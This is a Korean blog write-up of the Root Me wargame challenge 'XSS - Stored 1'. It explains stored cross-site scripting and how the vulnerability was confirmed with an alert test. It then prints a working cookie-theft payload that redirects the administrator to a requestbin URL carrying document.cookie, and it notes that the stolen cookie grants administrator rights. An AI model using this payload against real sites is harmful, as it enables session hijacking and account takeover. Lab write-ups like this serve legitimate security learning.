
XSS - Stored 1 문제
 
드디어 웹 취약점을 이용한 문제가 처음으로 나왔다.
 
administrator의 session cookie를 훔치라고 한다.
 
 
XSS 는 Cross Site Script 의 약자로
 
웹서버에 관리자가 아닌 사람이 악성 스크립트를 삽입할 수 있는 취약점이다.
 
 
보통 공격자들은 자신의 서버를 하나 열어놓은 뒤에,
 
XSS 취약점을 이용하여 타겟 웹 서버에 악성 스크립트를 삽입한 뒤,
 
사용자들의 인증정보(쿠키값, 세션값 등)를 탈취하는데 이용한다.
 

 
문제페이지에 접속하면 이렇게 간단한 게시판이 나오게 된다.
 

 
TEST / hello world 라고 한번 입력해봤다.
 
입력한 내용이 잘 저장되는것을 확인할 수 있다.
 

 
웹페이지는 HTML 로 구성되어 있다.
 
HTML의 특징은 각각의 구성요소를 <> 를 이용해서 구분한다는 것이다.
 
위 사진처럼 <head> 태그, <body> 태그 등등 이런 태그들로 웹페이지를 구성한다.
 
XSS는 게시판 처럼 사용자의 입력을 받는 페이지에서 <> 가 입력되었을 때,
 
서버측에서 적절하게 필터링하지 않아서 발생하게 된다.
 

스크립트를 실행시킬 수 있는 <script> 태그를 이용해서 이렇게 입력해본다.
 
<script>alert(1)</script> 라고 입력했을때, alert(1) 함수로 인해 알림창이 뜬다면
 
XSS 취약점이 존재하는 것이다.
 

 
send 버튼을 누르면 바로 이렇게 알림창이 뜨게 된다.
 
입력했던 <script> 태그가 웹페이지에 삽입되어서 스크립트가 실행된 것이다.
 
웹페이지가 변조되었다고 생각하면 된다.
 

 
f12를 눌러 개발자도구로 웹소스를 보면 더 잘 보인다.
 
<script> 태그가 잘 들어가있는걸 볼 수 있다.
 
이제 XSS 취약점이 존재한다는걸 알았으니 본격적으로 쿠키값을 훔칠 차례이다.
 
가장먼저 필요한건 공격자의 서버이다.
 

 
직접 서버를 올려도 되지만 솔직히 그건 너무 귀찮기 때문에
 
requestbin 이라는 웹사이트를 이용한다.
(https://requestbin.net/)
 
각종 http 패킷 전송을 테스트해볼 수 있는 페이지이다.
 
Create a RequestBin 버튼을 누르면 나만의 웹서버가 임시로 생성된다.
 

이렇게 생성된 URL을 잘 복사해서 보관해둔다.
 
이제 administartor가 내 게시글을 읽고, 읽음과 동시에 나의 requestbin으로 이동하며,
 
이동과 동시에 쿠키값을 가져가도록 스크립트를 짜면 된다.
 
<script>document.location.href="http://requestbin.net/r/3e3saam6/?cookie="+document.cookie</script>이렇게 쓰면된다.
 
document.location.href="공격자 주소?cookie="
 
이 부분은 공격자 주소로 보내버리고 '?' 뒤에 cookie 라는 변수를 선언해서 쿠키값을 담을수 있도록 한것이다.
 
그리고 cookie 변수에 document.cookie 를 이용해서 쿠키값을 저장하도록 해놨다.
 

이렇게 쓰고 send 버튼을 누른뒤 administrator가 읽을때까지 잠시 기다린다.
 

잠시 뒤에 requestbin 페이지로 가서 새로고침을 눌러보면
 
administrator 의 쿠키값이 탈취된것을 확인할 수 있다.
 
쿠키값을 이용하면 administrator의 권한을 그대로 행사할 수 있다.
'워게임 > Root Me' 카테고리의 다른 글
| [Root Me] HTML - Source code - 웹해킹 / 주석 (58) | 2022.03.29 | 
|---|---|
| [Root Me] CSRF - 0 protection - 웹해킹 / 크로스사이트요청위조 (84) | 2022.03.25 | 
| [Root Me] Javascript - Obfuscation 3 - 웹해킹 / 자바스크립트 (52) | 2022.03.20 | 
| [Root Me] Javascript - Webpack - 웹해킹 / 자바스크립트 (28) | 2022.03.18 | 
| [Root Me] Javascript - Native code - 웹해킹 / 자바스크립트 (36) | 2022.03.16 |